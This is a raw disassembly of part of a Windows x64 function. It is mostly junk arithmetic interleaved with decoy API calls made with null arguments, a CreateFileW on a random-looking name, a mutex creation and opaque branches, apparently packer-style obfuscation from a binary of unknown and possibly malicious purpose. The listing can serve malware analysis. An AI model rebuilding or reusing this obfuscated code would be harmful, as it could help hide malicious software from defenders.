mov qword [rsp + 0xed98], rax
movzx eax, word [rsp + 0x2540]
mov word [rsp + 0x255c], ax
cmp dword [rsp + 0x753c], 0x8653
je 0x140015f7d
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
or eax, ecx
mov byte [rsp + 0x35e], al
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4da]
shl eax, cl
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
sub eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xed58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x7530]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60e0], eax
mov eax, dword [rsp + 0x74ec]
mov ecx, dword [rsp + 0x7544]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68dc], eax
mov eax, dword [rsp + 0x753c]
add eax, 0xdd
mov dword [rsp + 0x753c], eax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
sub eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4db]
add eax, ecx
mov byte [rsp + 0x35e], al
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2554]
add eax, ecx
mov word [0x1401e3380], ax
jmp 0x140015e0c
mov eax, dword [rsp + 0x60e0]
mov dword [rsp + 0x7584], eax
cmp dword [rsp + 0x7584], 0x695
je 0x140015fae
cmp dword [rsp + 0x7584], 0x18b6
je 0x140016089
jmp 0x14001608f
movzx eax, word [rsp + 0x255c]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xed40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xed40]
movzx ecx, al
mov rax, qword [rsp + 0xecb8]
shl rax, cl
mov qword [rsp + 0xecd0], rax
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x705c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xed18]
mov qword [rsp + 0xeda0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeda0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x68dc]
mov ecx, dword [rsp + 0x7544]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
movsx eax, word [rsp + 0x2558]
movsx ecx, word [rsp + 0x2544]
sub eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
jmp 0x14001608f
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
sub eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x255c]
add eax, ecx
mov word [rsp + 0xefc], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xeda8], rax
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x4dc]
add eax, ecx
mov byte [0x1401e3038], al
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xecb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
and eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [rsp + 0x751c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
sub eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov eax, dword [0x1401e3384]
movzx ecx, al
mov eax, dword [rsp + 0x7544]
shl eax, cl
mov dword [rsp + 0x7034], eax
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x2554]
xor eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
lea rcx, [rsp + 0xed38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x4db]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e3380], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov eax, dword [rsp + 0x7560]
add eax, 0x72
mov dword [rsp + 0x7560], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
and eax, ecx
mov word [rsp + 0x255c], ax
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [rsp + 0x4d7]
sub eax, ecx
mov byte [rsp + 0x4da], al
lea rdx, [rsp + 0x7514]
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x7518], eax
mov eax, dword [rsp + 0x7530]
mov ecx, dword [rsp + 0x751c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xed58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [0x1401e3384]
mov ecx, dword [rsp + 0x68dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x615c], eax
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [rsp + 0x4db], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [rsp + 0x255c], ax
movsx eax, word [rsp + 0x2554]
movsx ecx, word [rsp + 0x2550]
and eax, ecx
mov word [rsp + 0x2544], ax
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x74d4]
add ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
xor eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x7518], eax
cmp dword [rsp + 0x7560], 0xcd4a
jb 0x14001608f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7588], eax
movsx eax, word [rsp + 0x1240]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2550], ax
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x2b3]
sar eax, cl
mov byte [rsp + 0x4d8], al
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x7034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xc7f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x60e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2540], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x615c]
add ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2550]
add eax, ecx
mov word [rsp + 0x2558], ax
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x255c]
sub eax, ecx
mov word [rsp + 0x2540], ax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xecd8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x705c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x7034]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xecb8]
movzx ecx, al
mov rax, qword [rsp + 0xed40]
sar rax, cl
mov qword [rsp + 0xed08], rax
mov eax, dword [rsp + 0x755c]
sub eax, 0x6e
mov dword [rsp + 0x755c], eax
movzx eax, byte [rsp + 0x4da]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2554]
shl eax, cl
mov word [0x1401e3380], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0xefc], ax
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d8]
add eax, ecx
mov byte [rsp + 0x4dc], al
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4d7]
and eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
cmp dword [rsp + 0x755c], 0x92b6
ja 0x1400163c2
mov eax, dword [rsp + 0x705c]
mov dword [rsp + 0x758c], eax
lea rax, [rsp + 0x74d4]
mov qword [rsp + 0xedb0], rax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2554]
sub eax, ecx
mov word [rsp + 0x141c], ax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4db]
sub eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov qword [0x1401eee08], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x255c]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xed08]
mov qword [rsp + 0xedb8], rax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xedb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov word [rsp + 0x2560], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov eax, dword [rsp + 0x751c]
mov ecx, dword [0x1401eee10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xed48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7034]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x615c], eax
movzx eax, byte [rsp + 0x4d8]
mov byte [rsp + 0x7590], al
cmp byte [rsp + 0x7590], 0x25
je 0x140016754
jmp 0x14001677b
mov rax, qword [rsp + 0xed18]
mov r8, qword [rax]
mov rax, qword [rsp + 0xed18]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x705c]
call fcn.1401c5b60
jmp 0x140016814
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov dword [rsp + 0x7594], eax
cmp dword [rsp + 0x7594], 0xe40
je 0x14001679c
jmp 0x140016814
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
or eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2558]
sar eax, cl
mov word [0x1401e3380], ax
mov rax, qword [rsp + 0xecd0]
movzx ecx, al
mov rax, qword [rsp + 0xecb8]
shl rax, cl
mov qword [rsp + 0xedb8], rax
lea rcx, [rsp + 0x7558]
call qword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [rsp + 0x7578], eax
mov rcx, qword [rsp + 0xedb8]
call fcn.1401c5950
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x4d9]
xor eax, ecx
mov byte [rsp + 0x4d8], al
mov dword [rsp + 0x7598], 0x78
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov word [rsp + 0x2564], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
and eax, ecx
mov byte [rsp + 0x35e], al
movzx eax, word [rsp + 0x255c]
mov dword [rsp + 0x759c], eax
cmp dword [rsp + 0x759c], 0x8d
je 0x140016885
jmp 0x1400168cc
mov rax, qword [0x1401eee08]
mov rcx, qword [rsp + 0xbb58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
call fcn.1401c5a70
jmp 0x1401c5575
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x75a0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [0x1401e3388], ax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x1694]
movzx edx, word [rsp + 0x2560]
add ecx, edx
cmp eax, ecx
jne 0x1401c54c4
cmp dword [rsp + 0x74e8], 0x6b80
je 0x140016d78
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xedc0], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x60e0]
mov ecx, dword [rsp + 0x74e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
movsx eax, word [rsp + 0x141c]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e3380], ax
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov byte [rsp + 0x4da], al
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4d9]
and eax, ecx
mov byte [rsp + 0x4dc], al
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x752c], eax
movzx eax, word [rsp + 0x2564]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov word [rsp + 0x255c], ax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xedb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2554]
add eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xecd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x615c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
mov eax, dword [rsp + 0x60e0]
movzx ecx, al
mov eax, dword [0x1401eee10]
sar eax, cl
mov dword [rsp + 0x705c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x7580], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
or eax, ecx
mov word [0x1401e3388], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
shl eax, cl
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xecd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [0x1401e3380]
add eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov eax, dword [rsp + 0x74e8]
add eax, 0x58
mov dword [rsp + 0x74e8], eax
movzx eax, word [rsp + 0x2560]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0x2564], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xed58]
mov rcx, qword [0x1401eee08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x758c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x74d4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x615c], eax
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x4d9]
add eax, ecx
mov byte [0x1401e3038], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
sub eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov word [rsp + 0x2540], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2550]
sar eax, cl
mov word [rsp + 0x2554], ax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xedb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
lea rdx, [rsp + 0x7580]
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x75a4], eax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xecd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov eax, dword [0x1401e3384]
movzx ecx, al
mov eax, dword [rsp + 0x68dc]
shl eax, cl
mov dword [rsp + 0x74ec], eax
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7588], eax
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xed58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4da]
movzx ecx, byte [rsp + 0x4d7]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
movzx eax, word [rsp + 0x2560]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2564], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
jmp 0x140016931
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.QecS4OXxPILHDBIFy8fjkQDrO6SUfBUjXBWn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xedc8], rax
movzx eax, byte [rsp + 0x4da]
movzx ecx, byte [rsp + 0x3fd]
add eax, ecx
mov byte [0x1401e3039], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov byte [rsp + 0x4dd], al
movzx eax, byte [rsp + 0x35e]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x4dd]
movzx edx, byte [rsp + 0x3fd]
sub ecx, edx
cmp eax, ecx
jle 0x140016ec7
lea rcx, [rsp + 0x7558]
call qword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [rsp + 0x7578], eax
movsx eax, word [rsp + 0x2558]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xecb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
sar eax, cl
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
shl eax, cl
mov word [rsp + 0x2564], ax
mov rax, qword [rsp + 0xed80]
movzx r9d, word [rax]
mov r8, qword [rsp + 0xed60]
movzx edx, word [rsp + 0xefc]
mov ecx, dword [rsp + 0x705c]
call fcn.1401c5840
jmp 0x140016fb2
movsx eax, word [rsp + 0x2554]
movsx ecx, word [rsp + 0x2550]
xor eax, ecx
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x2558]
sub ecx, edx
cmp eax, ecx
jne 0x140016fb2
mov eax, dword [rsp + 0x705c]
mov dword [rsp + 0x75a8], eax
cmp dword [rsp + 0x75a8], 0x3cba
je 0x140016f23
cmp dword [rsp + 0x75a8], 0x798d
je 0x140016f9a
jmp 0x140016fb2
lea rax, [rsp + 0xedd0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1e
lea r9, [rsp + 0x4d9]
mov r8d, ILFindChild
lea rdx, [rsp + 0xecf8]
mov rcx, qword [rsp + 0xedd0]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x74f4], eax
mov eax, dword [rsp + 0x758c]
mov ecx, dword [rsp + 0x705c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74ec], eax
jmp 0x140016fb2
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [0x1401e3038]
add eax, ecx
mov byte [rsp + 0x4dc], al
lea rax, [rsp + 0x705c]
mov qword [0x1401eee00], rax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [0x1401e3380]
sub eax, ecx
mov word [rsp + 0x1240], ax
mov dword [rsp + 0x75ac], 0xef2d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xedd8], rax
movzx eax, word [rsp + 0x255c]
mov word [rsp + 0x2568], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xede0], rax
movzx eax, byte [rsp + 0x35e]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3fd], al
movzx eax, byte [0x1401e3039]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x299], al
lea rax, [rsp + 0x2550]
mov qword [rsp + 0xede8], rax
mov eax, dword [rsp + 0x68dc]
mov ecx, dword [rsp + 0x7034]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
mov dword [rsp + 0x75b0], 0xd963
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xed60], rax
mov dword [rsp + 0x75b4], 0x6064
movzx eax, byte [rsp + 0x4dd]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
xor eax, ecx
movzx ecx, byte [rsp + 0x35e]
mov dword [rsp + 0x75b8], ecx
movzx edx, byte [rsp + 0x3fd]
movzx ecx, dl
mov edx, dword [rsp + 0x75b8]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14001718a
mov eax, dword [rsp + 0x615c]
mov dword [0x1401eedf8], eax
mov eax, dword [rsp + 0x758c]
mov dword [rsp + 0x75bc], eax
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov byte [rsp + 0x3fd], al
movzx eax, word [rsp + 0x2560]
mov word [rsp + 0x256c], ax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2554]
sub eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xed40]
imul rax, qword [rsp + 0xecd0]
mov qword [rsp + 0xea88], rax
jmp 0x140017282
mov rax, qword [rsp + 0xecb8]
movzx ecx, al
mov rax, qword [rsp + 0xedb8]
sar rax, cl
mov rcx, qword [rsp + 0xed08]
mov rdx, qword [rsp + 0xed40]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140017282
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xed40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xedb8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xecd0]
mov r8, qword [rsp + 0xecd0]
mov rdx, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed40]
call fcn.1401c5a20
lea rdx, [rsp + 0x2544]
lea rcx, [rsp + 0x7544]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x74f4], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x256c]
add eax, ecx
mov word [rsp + 0x255c], ax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1401eee00]
mov dword [rcx], eax
lea rax, [rsp + 0xbb58]
mov qword [rsp + 0xedf0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7530]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
mov eax, dword [rsp + 0x74d4]
